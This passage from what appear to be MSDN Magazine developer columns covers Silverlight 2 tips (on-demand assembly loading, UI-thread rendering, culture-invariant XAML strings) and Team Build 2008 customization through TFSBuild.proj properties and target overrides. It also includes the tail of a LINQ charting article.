            { id: "dayOfWeek", builder: "DayOfWeek" },
            { id: "delaysByDay", builder: "DelaysByDay" }
        ]
    };

    context.client.GenerateChart(
        context.charts[context.index].builder,
        updateChart,
        displayError,
        context);
}

function updateChart(result, context) {
    var img = $get(context.charts[context.index].id);
    img.src = result;
    context.index++;
    if (context.index < context.charts.length) {
        context.client.GenerateChart(
            context.charts[context.index].builder,
            updateChart, displayError, context);
    }
}

function displayError() {
    alert("There was an error creating the dashboard charts");
}

Charting the Future
I've covered quite a bit of technology, including the template method design pattern, LINQ operators, and JavaScript-compatible WCF Web services. Since this column demonstrated only a small fraction of the features available in the chart control, you should be sure to check the sample Web site to see the amazing breadth of features available. Combining this great visualization tool with the flexibility and expressiveness of LINQ means that your future charting applications will be more flexible, effective, and useful.

K. Scott Allen is a member of the Pluralsight technical staff and the founder of OdeToCode. You can reach Scott at scott@OdeToCode.com or read his blog at odetocode.com/blogs/scott.


Wicked Code
3 Important Tips For Silverlight Development
Jeff Prosise
Code download available from the MSDN Code Gallery
Browse the Code Online

Contents
On-Demand Assembly Loading
Just-in-Time Rendering
Avoiding Regional Dependencies
Turning a New Page
As I write this, Silverlight 2 is hot off the presses and developers are getting a first look at what many believe represents the future of Web programming. Whether you're a Silverlight proponent or find more allure in competing technologies such as Adobe Flex, it's exciting to see alternatives to HTML, JavaScript, and AJAX emerge and gain mindshare for creating Web applications. And with Microsoft already hard at work on Silverlight 3, the future has never seemed brighter.
As is true of any platform, the road to becoming a Silverlight developer is not without a few potholes. Did you know, for example, that many calls to XamlReader.Load that test fine on PCs in the United States will fail on PCs in other countries? Did you realize that Silverlight's rendering engine is intimately tied to the UI thread and that this fact can profoundly impact the structure of your code? Did you know that you can reduce the size of your XAP files by dynamically loading assemblies, but that doing so without losing the benefit of strong typing requires knowledge of CLR internals? If this intrigues you, read on. I have some tips and tricks to share that will make life with Silverlight a little less bumpy—and make you a better and more informed Silverlight programmer, too.
For more on packaging Silverlight content for faster delivery, please see the January 2009 installment of Cutting Edge.

On-Demand Assembly Loading
One of the hallmarks of a well-designed Silverlight application is a small XAP file, formally known as an application package. XAP files all too often swell to unmanageable sizes as the result of embedded resources (especially images) and assembly references. The larger the XAP file, the longer it takes to download, and if it grows too large, Silverlight might be unable to load it.
Even large applications can be packaged in small XAP files if you're careful to factor the resources and assemblies that the application uses and keep those that can be delay-loaded or downloaded on demand on the Web server. You can use WebClient or other classes in Silverlight's networking stack to download additional resources and assemblies once the application package has been downloaded. It's generally preferable to get the application's UI up and running quickly and then launch asynchronous network requests for the additional assets you need than it is to post a 100MB XAP file and force the user to spend five minutes waiting for a progress indicator to reach 100%.
On-demand resource loading in Silverlight tends to be simple and straightforward. The code snippet in Figure 1, for example, downloads a JPEG deployed at the site of origin and displays it by assigning the downloaded bits to a XAML image named MyImage.
Figure 1 Downloading an Image from the Site of Origin
WebClient wc = new WebClient();
wc.OpenReadCompleted +=
    new OpenReadCompletedEventHandler(wc_OpenReadCompleted);
wc.OpenReadAsync(new Uri("JetCat.jpg", UriKind.Relative));
  ...
void wc_OpenReadCompleted(object sender, OpenReadCompletedEventArgs e)
{
    if (e.Error == null)
    {
        BitmapImage bi = new BitmapImage();
        bi.SetSource(e.Result);
        MyImage.Source = bi;
    }
}
On-demand assembly loading tends to be more difficult, however. At first glance it seems easy: use WebClient to download the assembly and AssemblyPart.Load to load it into the appdomain. The problem is that Silverlight's JIT compiler can get in the way, leading many developers to believe that it's impossible to download assemblies on demand and enjoy the benefits of strong typing, too. In reality, however, you can do both. But you need to know what you're doing and having a basic understanding of how assembly loading works in the CLR.
To demonstrate, consider the following code:
private void CreateCalendarButton_Click(object sender, RoutedEventArgs e)
{
    Calendar cal = new Calendar();
    cal.Width = 300.0;
    cal.Height = 200.0;
    cal.SelectedDatesChanged += new
        EventHandler<SelectionChangedEventArgs>(cal_SelectedDatesChanged);
    LayoutRoot.Children.RemoveAt(0);
    LayoutRoot.Children.Add(cal);
}
Figure 2 Keeping an Assembly out of the XAP
It's a button click handler that dynamically creates a Calendar control and adds it to the XAML scene. (It also deletes the button that fired the event, which is assumed to be the 0th item in LayoutRoot's Children collection.) Because Calendar is implemented in the System.Windows.Controls.dll, which isn't embedded in the Silverlight plug-in but is instead part of the extended BCL, this code works just fine as long as you add a reference to System.Windows.Controls.dll to your project. The reference causes System.Windows.Controls.dll to be included in the XAP file and automatically loaded into the appdomain.
Now suppose you want to be clever and only load System.Windows.Controls.dll if it's needed—that is, if the user clicks the button. So you add a reference to System.Windows.Controls.dll to the project to satisfy the compiler (otherwise, the compiler won't compile a reference to Calendar because the compiler has no idea what the Calendar type is) and, in the Visual Studio Properties window, you set System.Windows.Controls.dll's Copy Local property to false to prevent it from being embedded in the XAP file (as I did in Figure 2).
Next, you deploy a copy of System.Windows.Controls.dll alongside the XAP file in the application's ClientBin folder on the server. Finally, you restructure your code as shown in Figure 3. The button click handler now downloads System.Windows.Controls.dll from the Web server, loads it into the appdomain with AssemblyPart.Load, and instantiates a Calendar control.
Figure 3 On-Demand Assembly Loading that Doesn't Work
private void CreateCalendarButton_Click(object sender, RoutedEventArgs e)
{
    WebClient wc = new WebClient();
    wc.OpenReadCompleted +=
        new OpenReadCompletedEventHandler(wc_OpenReadCompleted);
    wc.OpenReadAsync(new Uri("System.Windows.Controls.dll",
        UriKind.Relative));
}

void wc_OpenReadCompleted(object sender, OpenReadCompletedEventArgs e)
{
    if (e.Error == null)
    {
        // Load the downloaded assembly
        AssemblyPart part = new AssemblyPart();
        part.Load(e.Result);

        // Create a Calendar control
        Calendar cal = new Calendar();
        cal.Width = 300.0;
        cal.Height = 200.0;
        cal.SelectedDatesChanged += new
           EventHandler<SelectionChangedEventArgs>(cal_SelectedDatesChanged);
        LayoutRoot.Children.RemoveAt(0);
        LayoutRoot.Children.Add(cal);
    }
}
It looks reasonable and the code compiles just fine, but at run time, the click handler generates an exception like the one in Figure 4. Code that compiles is good. Code that throws exceptions is not. So what gives? The error message seems to indicate that the CLR is trying to load System.Windows.Controls.dll, but it shouldn't need to since you're loading it programmatically.
This is a great example of a case where knowledge of CLR internals can make you a better Silverlight programmer. The problem here is that when the JIT compiler compiles your wc_OpenReadCompleted method, it scans the method, sees that it references a type named Calendar, and attempts to load System.Windows.Controls.dll so that the reference can be resolved.
Figure 4 Oops!
Unfortunately, this happens before the method is even executed, thus you don't get the chance to call AssemblyPart.Load. It's a classic chicken-and-egg problem. You need to call AssemblyPart.Load to load the assembly, but before you can call it, the JIT compiler intervenes and attempts to load it for you. The attempt fails because System.Windows.Controls.dll isn't in the application package.
This is the point at which many programmers throw up their hands and either conclude that on-demand assembly loading doesn't work in Silverlight or resort to reflection to instantiate the Calendar type:
AssemblyPart part = new AssemblyPart();
Assembly a = part.Load(e.Result);
Object cal = (Object)a.CreateInstance("Calendar");
This approach works, but it's clumsy. You can't cast the reference returned by Assembly.CreateInstance to a Calendar because doing so would cause the JIT compiler to attempt to load the assembly before the method executed. And if you can't cast to Calendar, then the control's methods, properties, and events have to be accessed through reflection, too. The code quickly grows so unwieldy that it's tempting to just give in and embed System.Windows.Controls.dll in the application package and live with the increased XAP size.
The good news is that you can combine dynamic assembly loading and strong typing. Simply restructure your code along the lines of Figure 5. Observe that wc_OpenReadCompleted no longer references the Calendar type; all references have been moved to a separate method named CreateCalendar. Furthermore, CreateCalendar is attributed in such a way that the JIT compiler will not attempt to inline the method. (If inlining were to occur, you'd be right back where you started because wc_OpenReadCompleted would contain an implicit reference to the Calendar type.) Now the JIT compiler won't check to see if System.Windows.Controls.dll has been loaded until CreateCalendar is called, and by that time, you've already loaded it into the appdomain.
Figure 5 On-Demand Assembly Loading that Works
private void CreateCalendarButton_Click(object sender, RoutedEventArgs e)
{
    WebClient wc = new WebClient();
    wc.OpenReadCompleted +=
        new OpenReadCompletedEventHandler(wc_OpenReadCompleted);
    wc.OpenReadAsync(new Uri("System.Windows.Controls.dll",
        UriKind.Relative));
}

void wc_OpenReadCompleted(object sender, OpenReadCompletedEventArgs e)
{
    if (e.Error == null)
    {
        // Load the downloaded assembly
        AssemblyPart part = new AssemblyPart();
        part.Load(e.Result);

        // Create a Calendar control
        CreateCalendar();
    }
}

[MethodImpl(MethodImplOptions.NoInlining)]
private void CreateCalendar()
{
    Calendar cal = new Calendar();
    cal.Width = 300.0;
    cal.Height = 200.0;
    cal.SelectedDatesChanged += new
        EventHandler<SelectionChangedEventArgs>(cal_SelectedDatesChanged);
    LayoutRoot.Children.RemoveAt(0);
    LayoutRoot.Children.Add(cal);
}
Insights: Rendering and the UI Thread
Notice that Jeff said that one aspect of Silverlight that doesn't get a lot of attention is the fact that all rendering in Silverlight is done on the application's UI thread, and if you hog the UI thread, you prevent any rendering from happening. Since WPF provides a rendering thread, it is probably surprising that Silverlight does not. You may be interested to know why.
The decision came down to a tradeoff between system overhead and decoupling framerates. With Silverlight, we went with a lighter weight on-thread approach and did not isolate your application code from the rendering system. That means you can do more in your animation (like have layout-based animation or custom code running) and there is minimal latency and overhead getting to the rendering system. The down side is if you do too much, you can interfere with operations such as video playback.
That said, the Silverlight rendering system will take advantage of multi-core processing and use many threads to speed up rendering for it. So, rendering is rarely "on thread," but it is synchronized with your app to avoid synchronization plus copies of data.
—Ashraf Michail, Principal Architect, Silverlight
Incidentally, if this were Windows Presentation Foundation (WPF) rather than Silverlight, you could resolve the problem in a more elegant manner by registering a handler for AppDomain.AssemblyResolve events and loading System.Windows.Controls.dll there. AppDomain.AssemblyResolve exists in Silverlight, but it's attributed SecurityCritical, which means user code can't register handlers for it.
Figure 5 assumes that you included in your project a reference to System.Windows.Controls.dll, but that you set Copy Local to false (see Figure 2) and deployed the assembly in the ClientBin folder. To prove that it works, download the OnDemandAssemblyDemo application that accompanies this column and click the button labeled Create Calendar Control. A Calendar control appears in place of the button. Significantly, OnDemandAssemblyDemo.xap does not contain a copy of System.Windows.Controls.dll, which you can easily verify by opening the XAP file with WinZip. Magic! This will be a great ice-breaker for your next Silverlight party.

Just-in-Time Rendering
One aspect of Silverlight that doesn't get a lot of press is the fact that all rendering in Silverlight is done on the application's UI thread, and if you hog the UI thread, you prevent any rendering from being done. That means you want to avoid long-running loops on the UI thread if you're modifying a XAML scene in that loop or if any animations are taking place at the same time.
It sounds simple—avoiding long-running loops on the UI thread—but in practice, it can have a profound impact on the code that you write. Consider the app called OpenFileDialogDemo, pictured in Figure 6. It demonstrates how to use Silverlight's OpenFileDialog class to allow the user to browse his or her hard disk for image files and then load the images into XAML image objects. Run the app, click the Open button at the top of the page, select several image files (the bigger the better), and click the OpenFileDialog's Open button.
Figure 6 OpenFileDialogDemo in Action
You'll see that one by one, the images you selected pop into the scene using objects created dynamically with XamlReader.Load and assume random positions on the page. Once the images are displayed, you can click them to make them come to the front and even use the mouse to drag them around the page.
Despite its apparent simplicity, OpenFileDialogDemo offers a practical lesson in being judicious with the UI thread. When I originally wrote the code to display the OpenFileDialog and load the image files, I structured it something like the snippet in Figure 7. Once the user has dismissed the dialog, a simple foreach loop iterates through the selected files and loads them one by one.
Figure 7 Simple Approach to Loading Image Files
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "JPEG Files (*.jpg;*.jpeg)|*.jpg;*.jpeg|" +
    "PNG Files (*.png)|*.png|All Files (*.*)|*.*";
ofd.FilterIndex = 1;
ofd.Multiselect = true;

if ((bool)ofd.ShowDialog())
{
    foreach (FileInfo fi in ofd.Files)
    {
        using (Stream stream = fi.OpenRead())
        {
            BitmapImage bi = new BitmapImage();
            bi.SetSource(stream);
            GetNextImage().Source = bi;
        }
    }
}
Unfortunately, none of the images appeared on the screen until all of them were loaded. The delay wasn't a big deal if the user selected one or two image files, but it was intolerable if 40 or 50 files were selected. In short, the app didn't meet the minimum requirements I set for it, because I wanted the images to "pop" onto the screen as they were loaded. Get it? Pop! Pop! Pop!
The problem, of course, was that the foreach loop runs on the UI thread, and while the loop was running, Silverlight couldn't render the images as they were added to the scene—which meant it was time to step back, take a breath, and restructure the code to make it able to render the images in a timely manner.
Figure 8 shows one solution to the problem. The modified foreach loop does nothing more than add FileInfo objects to a System.Collections.Generic.Queue. This enables the loop to run quickly and hand control back to Silverlight so it can get down to the business of rendering. Perhaps the most interesting aspect of the restructured code is how it dequeues and processes the FileInfo objects in response to CompositionTarget.Rendering events.
Figure 8 A Better Way to Load Image Files
private Queue<FileInfo> _files = new Queue<FileInfo>();
 ...
public Page()
{
    InitializeComponent();

    // Register a handler for Rendering events
    CompositionTarget.Rendering +=
        new EventHandler(CompositionTarget_Rendering);
}
 ...
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "JPEG Files (*.jpg;*.jpeg)|*.jpg;*.jpeg|" +
    "PNG Files (*.png)|*.png|All Files (*.*)|*.*";
ofd.FilterIndex = 1;
ofd.Multiselect = true;

if ((bool)ofd.ShowDialog())
{
    // Reset the queue
    _files.Clear();

    // Place each FileInfo in a queue
    foreach (FileInfo fi in ofd.Files)
    {
        _files.Enqueue(fi);
    }
}
 ...
private void CompositionTarget_Rendering(Object sender, EventArgs e)
{
    if (_files.Count != 0)
    {
        FileInfo fi = _files.Dequeue();
        using (Stream stream = fi.OpenRead())
        {
            BitmapImage bi = new BitmapImage();
            bi.SetSource(stream);
            GetNextImage().Source = bi;
        }
    }
}
CompositionTarget.Rendering is a per-frame rendering callback traditionally used to implement game loops. It was borrowed from WPF and showed up late in the Silverlight 2 development cycle. The event is fired each time Silverlight is ready to re-render the scene.
OpenFileDialogDemo registers a handler for CompositionTarget.Rendering events (CompositionTarget_Rendering) and dequeues one FileInfo object, converting it into a XAML image, each time the handler is called. The result? The images pop onto the screen as they're loaded because Silverlight now has the opportunity to update the scene following the addition of each new image. This is how the foreach loop in the final version of OpenFileDialogDemo is structured, and it's why when you ran it, you saw images appear on the screen one by one instead of all at once.
You want to be careful not to overuse CompositionTarget.Rendering. If OpenFileDialogDemo had animations running as it added images to the scene, the animations would likely stutter because each frame would be delayed by the amount of time required to load the image bits and assign them to an image object. But when you need it, you need it badly, and OpenFileDialogDemo is a good example of an acceptable use of CompositionTarget.Rendering—indeed, here the goal would be difficult to accomplish otherwise.

Avoiding Regional Dependencies
A final tip regards using XamlReader.Load to create XAML objects dynamically. Can you spot what's wrong with this code?
Rectangle rect = (Rectangle)XamlReader.Load(
    String.Format(
        "<Rectangle xmlns=\"http://schemas.microsoft.com/client/2007\" " +
        "Width=\"{0}\" Height=\"{1}\" Stroke=\"Black\" Fill=\"Yellow\" />",
        100.5, 100.0
    )
);
If you recognized that this code will work on most PCs in the United States but will fail on most PCs in Europe and in other parts of the world, give your self a pat on the back. To demonstrate, first configure your operating system to display numbers, currencies, dates, and times in U.S. format if it isn't configured that way already. (In Vista, go to the Format tab of the Regional and Language Options dialog accessible through the Control Panel.) Execute the call to XamlReader.Load and verify that the call executes successfully. Now change the regional format to French and execute the call again. This time XamlReader.Load throws an exception:"Invalid attribute value 100,5 for property Width" (Figure 9). The problem is that decimal numbers such as 100.5 are written 100,5 (notice the comma in place of the decimal point) in many countries. And since String.Format honors regional settings on the host PC, the decimal 100.5 becomes "100,5". Unfortunately, XamlReader.Load doesn't know what to make of "100,5", so it throws an exception.
Figure 9 Exception Thrown by XamlReader.Load
The following code shows the correct way to call XamlReader.Load so that it works on any PC that runs Silverlight:
Rectangle rect = (Rectangle)XamlReader.Load(
    String.Format(
        CultureInfo.InvariantCulture,
        "<Rectangle xmlns=\"http://schemas.microsoft.com/client/2007\" " +
        "Width=\"{0}\" Height=\"{1}\" Stroke=\"Black\" Fill=\"Yellow\" />",
        100.5, 100.0
    )
);
The first parameter passed to String.Format is a CultureInfo object referencing the invariant culture. XamlReader.Load expects culture-invariant strings, so using CultureInfo.InvariantCulture ensures that String.Format generates properly formatted decimal values (as well as properly formatted dates and times if you're using those ). Not coincidentally, the OpenFileDialogDemo application in the previous section uses this technique to make sure that its own calls to XamlReader.Load work regardless of regional settings.
If the strings you pass to XamlReader.Load include decimal values generated by String.Format, always use CultureInfo.InvariantCulture to get proper formatting. Once your application is running in the wild, it's liable to execute under a variety of regional settings.

Turning a New Page
If you're beginning to use Silverlight and you're an experienced .NET developer, you already know 90% of what you need to know. But Silverlight brings nuances to .NET that you should understand.
Speaking of pages, many readers have asked when I intend to update the Silverlight 1.0 page-turn framework presented in May 2008 for Silverlight 2. Well, porting is complete. You can view a sample app that uses the updated framework at wintellect.com/silverlight/pageturndemo/, and you can download the source code from wintellect.com/Downloads/PageTurnDemo2.zip.
The page-turn framework lives in PageTurn.cs, and the code in Page.xaml.cs illustrates how it all works. The API is similar to the Silverlight 1.0 version (in C# rather than JavaScript), and I made changes to make page turning better. I included a PageTurned event that's fired by the framework each time a page turn is complete so you can update the UI—say, to show the current page number.
Send your questions and comments for Jeff to wicked@microsoft.com.

Jeff Prosise is a contributing editor to MSDN Magazine and the author of several books, including Programming Microsoft .NET (2002, Microsoft Press). He's also cofounder of Wintellect (wintellect.com), a software consulting and education firm that specializes in Microsoft .NET. Contact Jeff at wicked@microsoft.com.


Team System
Team Build 2008 Customization
Brian A. Randell
Contents
Properties
Getting Information about What's Going On
Changes
Custom Tasks
In my November 2008 column on Team Foundation Build 2008, I discussed what Team Build 2008 is, why you care, how to create a build, and how to use the new API to program the Team Build service. In this column, I'm going to cover how you can modify the default behavior of Team Build, extend your builds with custom tasks, and make use of the enhancements added as part of Team Build 2008 SP1.
Before you start customizing your builds, however, it's important to remember that Microsoft built Team Build on top of the Microsoft Build Engine (MSBuild), a core component of the Microsoft .NET Framework 2.0. While I will provide some minor refresher points related to how MSBuild executes a build, you should have a decent understanding to follow along. For a good review, you can read the June 2006 MSDN article on MSBuild, "Compile Apps Your Way With Custom Tasks For The Microsoft Build Engine."
As I've mentioned before, I encourage you to explore Team System customization, and in this case Team Build, in a nonproduction environment first. A good way, of course, is to use one of the Microsoft-provided evaluation virtual machines. I updated the images just before Christmas 2008, so you'll find fresh ones available with SP1 installed as well as other updates. The images are available for both Virtual PC and Hyper-V. You'll find links and more details on the Pluralsight blog.
A number of moving parts are involved in executing a build. Figure 1 (from the MSDN article "Team Foundation Build Overview") provides a pictorial view of all the pieces. In addition, I described the general steps of what occurs in my previous column. What we're most concerned with here is when MSBuild gets involved. The Team Build service (TFSBuildService.exe) creates an MSBuild process, passing the location of a file named TFSBuild.tbrsp. You'll find the file in the BuildType subfolder under your Build Agent's working directory.
Figure 1 Overview of Build Components
The Team Build 2008 SP1 service generates TFSBuild.tbrsp dynamically. The file consists of data stored in the Team Build databases, Team Build controlled parameters, and the contents (if any) of your build's TFSBuild.rsp file. Figure 2 is an example of a test build I created.
Figure 2 ﻿Example of a Test Build
### Begin Team Build Generated Arguments ###

/nodeReuse:false
/m:1
/nologo
/noconsolelogger
/dl:BuildLogger,"C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\
  PrivateAssemblies\Microsoft.TeamFoundation.Build.Server.Logger.dll";
"BuildUri=vstfs:///Build/Build/45;
TFSUrl=http://tfsrtm08:8080/;
TFSProjectFile=C:\Builds\ExploreTeamBuild\Sysinfo\BuildType\TFSBuild.proj;ServerUICulture=1033;
LogFilePerProject=False;
"*BuildForwardingLogger,"C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\
  PrivateAssemblies\Microsoft.TeamFoundation.Build.Server.Logger.dll";
"BuildUri=vstfs:///Build/Build/45;TFSUrl=http://tfsrtm08:8080/;
TFSProjectFile=C:\Builds\ExploreTeamBuild\Sysinfo\BuildType\TFSBuild.proj;ServerUICulture=1033;"
/fl /flp:logfile=BuildLog.txt;encoding=Unicode;
/p:BuildDefinition="Sysinfo"
/p:BuildDefinitionId="3"
/p:DropLocation="\\localhost\Drops"
/p:BuildProjectFolderPath="$/ExploreTeamBuild/TeamBuildTypes/Sysinfo"
/p:BuildUri="vstfs:///Build/Build/45"
/p:TeamFoundationServerUrl="http://tfsrtm08:8080/"
/p:TeamProject="ExploreTeamBuild"
/p:SourcesSubdirectory="Sources"
/p:BinariesSubdirectory="Binaries"
/p:TestResultsSubdirectory="TestResults"
/p:SourceGetVersion="C244"
/p:LastGoodBuildLabel="Sysinfo_20090104.2@$/ExploreTeamBuild"
/p:LastBuildNumber="Sysinfo_20090104.2"
/p:LastGoodBuildNumber="Sysinfo_20090104.2"
/p:NoCICheckInComment="***NO_CI***"
/p:IsDesktopBuild="false"
/p:TeamBuildRefPath="C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\PrivateAssemblies"
/t:EndToEndIteration

TFSBuild.proj

### End Team Build Generated Arguments ###

### Begin Checked In TfsBuild.rsp Arguments ###

# This is a response file for MSBuild
# Add custom MSBuild command line options in this file

### End Checked In TfsBuild.rsp Arguments ###
If you create a build under Team Build 2005, it stores much of the build data in a set of files under version control at a fixed location. The most interesting of these files is TFSBuild.proj, an XML file that adheres to the MSBuild project file schema. When you create a build using Team Foundation Server 2008, Team Build 2008 stores most of the information you provide inside the TFS databases. However, you customize the build process the same way regardless of version: you edit the TFSBuild.proj file and write custom MSBuild tasks (if necessary).
In Team Build 2008 SP1, you can access the TFSBuild.proj file by right-clicking on a build definition's name in the Team Explorer window and then selecting View Build Configuration. In versions prior to SP1, you open the Source Control Explorer and manually navigate to the location you specified when running the build definition wizard.
The build definition stored in the database defines what should be built and when. The TFSBuild.proj file defines how Team Build should execute the build. You'll recall from my earlier column that you can create a new TFSBuild.proj file as you create a new build definition, or you can point to an existing file already under version control. For MSBuild to do its magic, in conjunction with various Team Build assemblies, it needs to know what to build and in what order, as well as about any additional tasks. If you examine Figure 2, you'll note that Team Build passes TFSBuild.proj as the name of the project file that MSBuild should process. MSBuild treats all the /p arguments as global properties.
If you examine a Team Build 2008 TFSBuild.proj file for a build that builds a single solution (both debug and release configuration types) and does not run any tests, you'll find a number of sections. This XML file is very similar to a Visual Basic or C# project file. The XML file defines build properties, artifacts to include as part of the build process, and operations to perform. The file groups properties together into <PropertyGroup> elements. It tracks artifacts like solutions in <ItemGroup> elements. In addition, it describes operations that it should execute together via <Target> elements.
Targets have a Name attribute, and they group tasks together in a particular order. You define tasks in CLR-dependent assemblies by creating public classes that either implement ITask or inherit from the abstract base class Task (or any other derived types, such as ToolTask). ITask, Task, and ToolTask live in the Microsoft.Build.Utilities.dll assembly. In your TFSBuild.proj file, after the XML declaration, you'll find the root <Project> element required for MSBuild:
<Project DefaultTargets="DesktopBuild"
xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="3.5">
The DefaultTargets attribute specifies that MSBuild should use the DesktopBuild target. However, this only occurs if you execute the build using MSBuild directly. If you return to Figure 2, you'll see that Team Build tells MSBuild to consider the EndToEndIteration target as its main entry point. Thus, MSBuild ignores the DefaultTargets attribute when started by Team Build.
After the <Project> element, you'll find an <Import> element. The <Import> element tells MSBuild to use another project file in addition to the one being processed. Team Build points the <Import> element to the version-specific Team Build targets file:
<!-- Do not edit this -->
<Import Project="$(MSBuildExtensionsPath)\Microsoft\VisualStudio\TeamBuild\Microsoft.TeamFoundation.Build.targets" />
This targets file is the heart and soul of how Team Build does its magic. Careful examination of this file will provide you with deep insight into the Team Build process as well as how MSBuild works. A word of warning: you should not edit this targets file. Doing so would affect all the builds on a particular build agent (but only that agent). In addition, if Microsoft provides a service pack, hotfix, or update to Team Build, your changes would be lost. Finally, it's not a Microsoft-supported operation. You should use the built-in mechanisms to adjust Team Build's behavior instead—something you're going to learn in this column.
As part of its preprocessing, MSBuild creates a tree of targets to execute. The order in which a project file defines targets is irrelevant. MSBuild executes targets based upon the entry point target and any DependsOn attributes assuming no errors occur. In addition, MSBuild will only execute one named version of a target. It uses the last version of a target defined. Team Build takes advantage of this by defining a number of empty targets in the Team Build targets file. Most of these targets have a prefix of Before or After in their names. MSBuild processes the targets defined in the Team Build targets file first because of the <Import> element.
You, in turn, can override one of these targets by creating a target with the same name in the TFSBuild.proj file. However, a few additional items also affect target ordering. First, the root <Project> element supports an InitialTargets element, which can contain a semicolon-delimited list of one or more targets to execute before the DefaultTargets or those specified on the command line. Second, a target can specify that it depends on one or more targets by using the DependsOnTargets attribute. MSBuild executes the targets listed in a DependsOnTargets attribute in the order in which they are declared. Many of the Team Build targets do just that. Third, a target can specify a condition to its execution. For example, many of the Team Build targets execute only if the build is not a desktop build. Therefore, when you run a Team Build, the initial set of targets that executes is first CanonicalizePaths and then CheckSettingsForEndToEndIteration.
MSBuild executes CanonicalizePaths first because the targets file defines it as the InitialTargets item. CheckSettingsForEndToEndIteration is next because it's the first target in the list of DependsOnTargets specified for EndToEndIteration, the target specified by Team Build in MSBuild's command line. Note that MSBuild only executes targets that are in the chain from EndToEndIteration.
At this point, you know enough to get started. In part one of this column, I created a Team Project, ﻿MSDNMag, with a custom workspace. I'll continue to use this Team Project for the examples here. I've checked in all of my sample solutions under $MSDNMag/Main/src/TeamSystem/C10/. My custom workspace named MSDNMag maps the trunk of my Team Project $MSDNMag to C:\Work\MSDNMag to make it easy to work with the solutions as well as the build files. Finally, as I mentioned earlier, I'm doing all of this in the Team System 2008 SP1 version of the Microsoft-provided virtual machine.
When you first start working on Team Build customizations, you need to watch two things. One, you'll be editing XML files to create your customizations. Second, debugging today tends to be all about printf and parsing log files. When﻿ you consider customizing your build to adjust its behavior, there are three general ways to proceed. First, change the value of well-known properties. Second, invoke predefined tasks. Third, write your own custom task.

Both MSBuild and Team Build expose a number of properties that you can use to define conditions that affect target execution. For example, Team Build exposes an IsDesktopBuild property that it uses to determine if certain targets should execute. MSBuild exposes properties related to the platform, compiler options, processor architecture, and more. In addition, Team Build has a number of properties that you can change to turn on or off features. In fact, code analysis is one of the items you can adjust.
If you examine your TFSBuild.proj file, you'll find a bit of XML like the following code. By changing the value of the <RunCodeAnalysis> property, you change how MSBuild evalutes code analysis settings on your projects:
<!--  CODE ANALYSIS
Set this property to enable/disable running code analysis. Valid values for this property are Default, Always and Never.

     Default—Perform code analysis as per the individual project settings
     Always —Always perform code analysis irrespective of project settings
     Never —Never perform code analysis irrespective of project settings
 -->
<RunCodeAnalysis>Never</RunCodeAnalysis>
Team Build also uses properties to control the running of tests. This involves multiple XML fragments. First, you set the <RunTest> property to true. Then you either use test lists or have Team Build scan for tests to run. If you want to use test lists, you need to define a <MetaDataFile> property with one or more <TestList> items, as you can see here:
<!--Set this flag to enable/disable running tests as a post-compilation build step.-->
<RunTest>true</RunTest>
<MetaDataFile Include=
  "$(BuildProjectFolderPath)/../../Main/src/SysInfo/SysInfo.vsmdi">
  <TestList>All Unit Tests</TestList>
</MetaDataFile>
Here's one more example of properties in action. During normal build execution, Team Build labels all the artifacts retrieved from version control. If you don't want this to happen, you just need to set the SkipLabel property to true. You can do this a number of ways. First, if you only want to do it for a particular run of your build, you can pass /p:SkipLabel=true in the MSBuild command-line arguments (see Figure 3). Note, however, that if you only pass SkipLabel, you'll get a build error when Team Build attempts to generate the list of changesets and update work items. To avoid the error, you want to add SkipGetChangesetsAndUpdateWorkItems=true. You'll find your command-line arguments visible in the Summary section of the build report.
Figure 3 Passing Command-Line Arguments to MSBuild
Beyond the command line, you can use the same syntax, but instead of using the dialog box, edit the TFSBuild.rsp file that you'll find side-by-side with your TFSBuild.proj file in version control. Finally, you can add the properties to your TFSBuild.proj file. You'll want to check out your TFSBuild.proj file from version control. If you double-click on the file, it will open in Visual Studio's XML editor.
You can add each property using XML opening and closing element tags with true for the element's text to an existing property group, or you can create your own property group—even going so far as to add a condition parameter so that you can turn it on and off via the command line as shown here. Now you can pass /p:QuickBuild=True to do a quick build:
<PropertyGroup Condition="$(QuickBuild)=='True'">
    <SkipLabel>true</SkipLabel>
    <SkipGetChangesetsAndUpdateWorkItems>true</SkipGetChangesetsAndUpdateWorkItems>
</PropertyGroup>

Getting Information about What's Going On
As you start to futz with your build and figure out what's really going on, you'll often want to output additional status information. Before you do, remember that by default Team Build generates a detailed log. You can adjust the verbosity of this log by using the fileLoggerParameters (flp) argument (Team Build 2005 used the /v argument). In Microsoft .NET Framework 3.5, the default logging changes from normal verbosity to diagnostic. Thus, if you want smaller log files, you'll want to add /flp:verbosity=normal to your TFSBuild.rsp file.
If you don't find what you're looking for in the detailed log, you can start writing your own messages to the log file. In order to log a message, you'll need to define a target. Within the target, you can use the built-in Message task. For example, to write out the string "My Custom Message" as well as the value of the SkipLabel property, add the following XML to your TFSBuild.proj file just before the closing </Project> element:
<Target Name="MyMessageLogger">
        <Message Text="My Custom Message" />
        <Message Text="SkipLabel Status= $(SkipLabel)" />
</Target>
However, if you do this and run your build, nothing happens. Recall that Team Build calls EndToEndIteration as its entry point. MSBuild only executes targets in the chain of execution of the target. If you want to get your task to execute, you need to hook your targets into this chain. One simple way would be to add your target to the Team Build targets file. However, you wouldn't do that because, remember, you've been warned "Don't do that!" Turns out you have two very reasonable alternatives that Microsoft supports and even encourages. The other is to modify a target's DependsOn property to insert a custom target into the dependency chain.
As mentioned earlier, the Team Build targets file defines a number of empty targets. Microsoft created those targets expressly so you could override them. You'll find a list in the MSDN article "Customizable Team Foundation Build Targets."
The team build process has more than 20 points where you can easily get Team Build to execute your custom operations. The first target you can override is BeforeEndToEndIteration. This is effectively the fourth target that MSBuild executes. To get the previous XML fragment to run, you need to change the Name attribute from MyMessageLogger to BeforeEndToEndIteration. Going one step further, if you want your message to appear in the Team Build report, you can use the Team Build-provided BuildStep task instead of the Message task, as in shown here:
<Target Name="BeforeEndToEndIteration">
    <BuildStep TeamFoundationServerUrl="$(TeamFoundationServerUrl)"
           BuildUri="$(BuildUri)"
           Name="MyBuildStep"
           Message="BeforeEndToEndIteration override is executing."
           Status="Succeeded"
           >
    </BuildStep>
</Target>

